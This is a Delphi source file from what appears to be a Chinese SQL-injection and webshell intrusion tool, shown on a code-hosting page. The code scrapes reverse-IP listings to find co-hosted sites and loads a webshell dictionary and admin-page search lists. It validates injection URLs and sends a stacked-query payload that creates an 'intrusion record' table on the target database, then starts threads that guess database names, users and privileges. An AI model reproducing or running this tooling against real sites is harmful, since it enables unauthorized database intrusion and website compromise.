📄 main_unit.pas
字号:
if ShowHeaders then TempStream.Write(Buffer, BufSize);
if Assigned(hFile) then
try
with TempStream do
try
while InternetReadFile(hFile, @Buffer, BufSize, BufRead) and (BufRead > 0) do
Write(Buffer, BufRead);
Result := DataString;
finally
Free;
end;
finally
InternetCloseHandle(hFile);
end;
finally
InternetCloseHandle(hinet);
end;
end;
//=====================分辨率模式===================
function TForm_main.MyScreenMode(x,y:word):Boolean;
var
lpDevMode:TDeviceMode;
begin
Result:=EnumDisplaySettings(nil,0,lpDevMode);
if Result then
begin
lpDevMode.dmFields:=dm_pelswidth or dm_pelsheight;
lpdevMode.dmPelsWidth:=x;
lpdevMode.dmPelsHeight:=y;
Result:=changedisplaysettings(lpdevmode,0)=disp_change_successful;
end;
end;
//=================== 得到域名的总数量 ===================
procedure GetSiteSum;
const
SiteSUMsPostxt = '</b> - IP hosts <b>'; //HTML代码中域名数量起始位置的特征码
SiteSUMePostxt = '</b> Total'; //HTML代码中域名数量终止位置的特征码
var
SitesPos,SiteePos : integer ; //记录"</b> - IP hosts <b>" 和 "</b> Total" 的位置
SiteLen,SiteSum : integer; //SiteLen记录记录要截取的长度
MemoStr,SiteSumText : String; //SiteSumText保存域名的数量
begin
SitesPos:=Pos(SiteSUMsPostxt,HTMLCode)+Length(SiteSUMsPostxt); //得到 </b> - IP hosts <b> 的位置
SiteePos:=Pos(SiteSUMePostxt,HTMLCode); //得到 </b> Total 的位置
SiteLen:=SiteePos - SitesPos; //起始位置 - 终止位置 = Copy的长度
SiteSumText:=Copy(HTMLCode,SitesPos,SiteLen); //将2特征码之间的字符串复制到SiteSumText
Form_main.Label25.Caption:='共有站点: '+SiteSumText; //将域名数量显示到标签上
if StrToInt(SiteSumText) > 50 then Form_main.BtDown.Enabled:=True; //往上翻时
if ((StrToInt(SiteSumText) div (RecQueryPage * 50))) <= 0 then
Form_main.BtDown.Enabled:=False; //往下翻时
end;
//==================== 分解出HTMLCode中域名字符串 =====================
procedure GetALLSite;
const
GetSitesPosText ='.">'; //起始位置的特征码
GetSiteePosText ='.</a>'; //终止位置的特征码
var
SitesPos,SiteePos,SiteTextLen : integer; //记录以上常量的起始位置和终止位置
begin
try
Form_main.SiteList.Clear;
{当Pos特征码GetSitesPosText后返回的值大于0时循环剪切出GetSitesPosText与
GetSiteePosText之间的域名,当Pos返回值小于0时,退出该循环}
while Pos(GetSitesPosText,HTMLCode) > 0 do
begin
SitesPos:=Pos(GetSitesPosText,HTMLCode)+Length(GetSitesPosText);
SiteePos:=Pos(GetSiteePosText,HTMLCode);
SiteTextLen:=SiteePos - SitesPos;
Form_main.SiteList.Items.Add(LowerCase(Copy(HTMLCode,SitesPos,SiteTextLen)));
//将GetSitesPosText替换为空,继续循环往下查找
HTMLCode := StringReplace(HTMLCode, GetSitesPosText, '', [rfIgnoreCase]);
//将GetSiteePosText替换为空,继续循环往下查找
HTMLCode := StringReplace(HTMLCode, GetSiteePosText, '', [rfIgnoreCase]);
end;
Form_main.Label23.Caption:=Format('本页显示: %d - %d',[1,Form_main.SiteList.Items.Count]);
Form_main.BtUp.Enabled:=True;
Except //出错,不做处理
End;
end;
//================== 获取HTML代码及执行查询的过程函数 ===================
procedure GetHTMLCode;
const
GetSiteaText1 = 'http://whois.webhosting.info/';
GetSiteaText2 ='?pi=';
GetSiteaText3 ='&ob=SLD&oo=ASC';
SiteNULLText = 'Details'; //没有绑定国际域名的特征码
ValiDateText = 'Enter the security'; //提示输入验证码的特征码
var
RecordTime : TTime; //记录开始时间
GetSiteaText : String; //将GetSiteaText1..3 组合起来查询
SiteNULLTextPos : integer; //没有绑定国际域名的特征码的位置
ValiDateTextPos : integer; //提示输入验证码的特征码的位置
IdHTTP1:TIDHTTP;
begin
try
try
IdHTTP1:=TIDHTTP.Create(nil);
RecordTime:=Now;
Form_main.btQuery.Enabled:=False;
GetSiteaText:=GetSiteaText1+Form_main.IPaddress.Text+GetSiteaText2+IntToStr(RecQueryPage)+GetSiteaText3;
HTMLCode:=IdHTTP1.Get(GetSiteaText); //将获取到的代码保存到HTMLCode中
Form_main.Label24.Caption:='当前页面: '+inttostr(RecQueryPage);
//===================== 判断是否需要输入验证码 ========================
ValiDateTextPos:=Pos(ValiDateText,HTMLCode);
if ValiDateTextPos > 1 then
begin
application.MessageBox('提示:暂时无法查询,请手动输入验证码!'+#10#13+
'提交完验证码后再查询!','请输入验证码',48);
Form_main.Web.Navigate('http://whois.webhosting.info/'+Form_main.IPaddress.Text);
Form_main.Ani.Stop;
Form_main.Ani.Visible:=False;
Form_main.Label26.Caption:='';
Form_main.btQuery.Enabled:=True;
Form_main.BtUp.Enabled:=True;
Form_main.BtDown.Enabled:=True;
Exit;
end;//-------------------------- END -------------------------------
//======================= 判断IP上是否有绑定域名 =====================
SiteNULLTextPos:=Pos(SiteNULLText,HTMLCode);
if SiteNULLTextPos > 1 then
begin
application.MessageBox('提示:该IP地址并没有绑定任何域名!'+#10#13+
'请尝试查询其他IP地址!','提示',32);
Form_main.Ani.Stop;
Form_main.Ani.Visible:=False;
Form_main.Label6.Caption:='';
Form_main.btQuery.Enabled:=True;
Form_main.BtUp.Enabled:=True;
Form_main.BtDown.Enabled:=True;
Exit;
end;
//-------------------------- END -------------------------------
//=========================== 查询部分 ===============================
Form_main.Ani.Stop;
Form_main.Ani.Visible:=False;
Form_main.Label26.Caption:='';
//temp1
{
Form_main.StatusBar1.Panels[0].Text:='查询完毕!';
Form_main.StatusBar1.Panels[2].Text:='查询耗时:'+TimeToStr(Now-RecordTime);
}
Form_main.btQuery.Enabled:=True;
GetSiteSum; //获取完毕HTML代码后,调用获取域名总数的过程
GetALLSite; //获取完毕HTML代码后,调用分解所有域名的过程
if RecQueryPage=1 then Form_main.BtUp.Enabled:=False;
if RecQueryPage>1 then Form_main.BtUp.Enabled:=True;
finally
IdHTTP1.Free;
end;
except
end;
end;
//------------------------------- END --------------------------------
//========================自定义域名转IP的过程 =========================
procedure GetIPaddress;
begin
if Form_main.SiteName.Text = '' then //判断是否有输入网址
begin
//temp1
//Form_main.Statusbar1.Panels[0].Text:='请先输入域名!';
Exit; //如果没有输入域名,提示 - 退出
end;
Form_main.NMHTTP1.Host:=Form_main.SiteName.Text; //需要解析的主机
Form_main.NMHTTP1.Port:=80; //设置端口
Form_main.btPing.Enabled:=False;
Form_main.SiteName.Enabled:=False;
try
Form_main.NMHTTP1.Options(Form_main.SiteName.Text);
except
//temp1
//Form_main.Statusbar1.Panels[0].Text:='请检测域名是否输入正确,或网络连接是否正常!';
Form_main.SiteName.Enabled:=True;
Form_main.btPing.Enabled:=True;
Form_main.IPaddress.Text:='';
end;
Form_main.NMHTTP1.Disconnect; //断开
end;
//----------------------------- END -------------------------------
procedure TForm_main.FormCreate(Sender: TObject);
var
strTempPost:string;
inifile:TIniFile;
i:integer;
item:string;
begin
//设置关键字编辑框
form_main.CheckBt.Checked:=true;
if CheckBox_keyword.Checked=true then
Edit_keyword.Enabled:=true
else
Edit_keyword.Enabled:=false;
TimeOut:=30000;
//strTempPost:=GetPostCode('link.asp','test','testname','testpwd','1',HttpCli1);
stop_table:=false;
stop_column:=false;
stop_record:=false;
Form_main.stop_check:=false;
stop_cmd:=true;
// webshell字典管理
self.DBGrid1_result.Columns[0].Width:=50;
self.DBGrid1_result.Columns[1].Width:=350;
self.DBGrid1_result.Columns[2].Width:=120;
self.DBGrid1_result.Columns[3].Width:=120;
inifile:=TIniFile.Create(ChangeFileExt(Application.ExeName,'.ini'));
for i:=1 to 10000 do
begin
item:=inifile.ReadString('site'+inttostr(i-1),'site'+inttostr(i-1),'');
if item='' then
break;
suiComboBox2_url.Items.Add(item);
end;
inifile:=TIniFile.Create(ExtractFileDir(Application.ExeName)+'/HDSI2005PHP.ini');
for i:=1 to 10000 do
begin
item:=inifile.ReadString('site'+inttostr(i-1),'site'+inttostr(i-1),'');
if item='' then
break;
ComboBox_URL.Items.Add(item);
end;
suiComboBox2_url.Text:='';
suiEdit1_urlin.Text:='';
suiComboBox2_url.Text:='';
Form_main.ScanURL.Text:='';
Form_main.SelectURL.Text:='';
Form_main.txtCmd.Text:='';
//temp1
{Form_main.txtUrlt.Text:='';
Form_main.txtName.Text:='';
Form_main.txtPws.Text:='';
Form_main.txtMen.Text:=''; }
MemoResult.Text:='';
Form_main.door_check.Checked:=false;
//suiThemeManager1.UIStyle := WinXP;
//CLBox.Checked[0]:=True; //自动选上需要探测的页面1
//CLBox.Checked[1]:=True; //自动选上需要探测的页面2
//CLBox.Checked[2]:=True;
//temp1 //自动选上需要探测的页面3
{ProgressBar1.Parent:=StatusBar1; }
ProgressBar.Top:=2;
if RecQueryPage = 1 then
Form_main.BtUp.Enabled:=False
else BtUp.Enabled:=true;
//旁注代码————————————————————
try
CLBox.Items.Text := SearchUP;
Form_main.CLBox.Checked[0] := True;
Form_main.CLBox.Checked[1] := True;
Form_main.CLBox.Checked[2] := True;
TempSearch := SearchUP; //TempSearch得到earchUP返回的值
except
application.MessageBox('错误提示:没有检测到[ADMIN_LOGIN]字段,程序将在本目录' + #13 + '自动生成一个新的SearchPage.txt覆盖原来的!', '提示', 64);
CreateTxt;
end;
if RecQueryPage = 1 then
BtUp.Enabled := False
else BtUp.Enabled := true;
Web.Navigate('about:blank');
Application.OnException := ProException;
FileBox1 := TFileListBox.Create(nil);
FileBox1.Visible := false;
FileBox1.Parent := Self;
FileBox1.Mask := '*.MDB';
//————————————————————————
end;
procedure TForm_main.suiButton_checkClick(Sender: TObject);
var
str_url:string;
list:TStringList;
i:integer;
sContent:string;
ss:string;
CanMultObj:TThreadCanMult;
UserPowerObj:TThreadUserPower;
DBNameObj:TThreadErrorDBName;
DBUserObj:TThreadErrorDBUser;
keyword:string;//关键字
//ObjList:TList;
begin
try
ThdObjCompleteCount:=0;
//检测注入地址
if (pos('?',suiComboBox2_url.Text)=0)
or (pos('=',suiComboBox2_url.Text)=0)
or (pos('.',suiComboBox2_url.Text)=0)
or (pos('/',suiComboBox2_url.Text)=0)
or (suiComboBox2_url.Text='')then
begin
Application.MessageBox(pchar('注入地址无效,请从新添入注入地址'),pchar('警告'),mb_ok);
exit;
end;
Button_update.Enabled:=false;
//停止下面表和列,数据的猜解
Form_main.stop_table:=true;
Form_main.stop_column:=true;
Form_main.stop_record:=true;
//请空表,列,记录list中的记录
ListView_table.Items.Clear;
ListView_column.Items.Clear;
ListView_record.Items.Clear;
//获取URL
str_url:=trim(suiComboBox2_url.Text);
//如果没有注入地址,退出
suiEdit_multi.Text:='';
suiEdit_user.Text:='';
suiEdit_sub.Text:='';
suiEdit_dbname.Text:='';
suiEdit_power.Text:='';
suiRadioButton_methord1.Checked:=false;
suiRadioButton_methord2.Checked:=false;
suiRadioButton_methord3.Checked:=false;
suiRadioButton_report.Checked:=false;
suiRadioButton_notReport.Checked:=false;
suiRadioButton_access.Checked:=false;
Form_main.stop_check:=false;
cjdatabase_unit.Inject_methord:=0;
cjdatabase_unit.Database_methord:=0;
if Form_main.stop_check=true then
begin
Application.MessageBox(pchar('检测停止'),pchar('提示'),mb_ok);
exit;
end;
//创建入侵记录表
define_unit.GetURLCode(str_url+';create%20table%20t_jiaozhu(jiaozhu%20varchar(200))');
//如果使用关键字,就进行关键字检测
keyword:=trim(Edit_keyword.Text);
if CheckBox_keyword.Checked then
begin
CJdatabase_unit.Inject_methord:=cjdatabase_unit.Inject_method_ByKeyWord(str_url,keyword);
end
else
begin
//判断注入方式,报错方式
CJdatabase_unit.Inject_methord:=CJdatabase_unit.IfErrorReport(str_url);
case CJdatabase_unit.Inject_methord of
1:
begin
Cjdatabase_unit.IferrReport:=true;
Cjdatabase_unit.Database_methord:=1;
end;
2:
begin
Cjdatabase_unit.IferrReport:=true;
Cjdatabase_unit.Database_methord:=1;
end;
3:
begin
Cjdatabase_unit.IferrReport:=true;
Cjdatabase_unit.Database_methord:=1;
end;
end;
end;//end of else
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -